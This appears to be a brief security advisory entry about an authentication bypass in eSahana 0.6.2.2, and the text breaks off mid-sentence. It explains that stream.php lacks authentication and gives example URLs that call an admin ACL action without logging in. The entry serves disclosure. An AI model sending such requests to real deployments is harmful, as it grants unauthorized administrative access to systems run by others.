CORE-2010-0311 - eSahana 0.6.2.2 Authentication Bypass

Ability to completely disable authentication via stream.php and commented out module authentication code within it. http://victim/sahanapath/index.php?mod=admin&act=aclenableacl Authenticates correctly. http://victim/sahanapath/stream.php?mod=admin&act=aclenableacl Does not...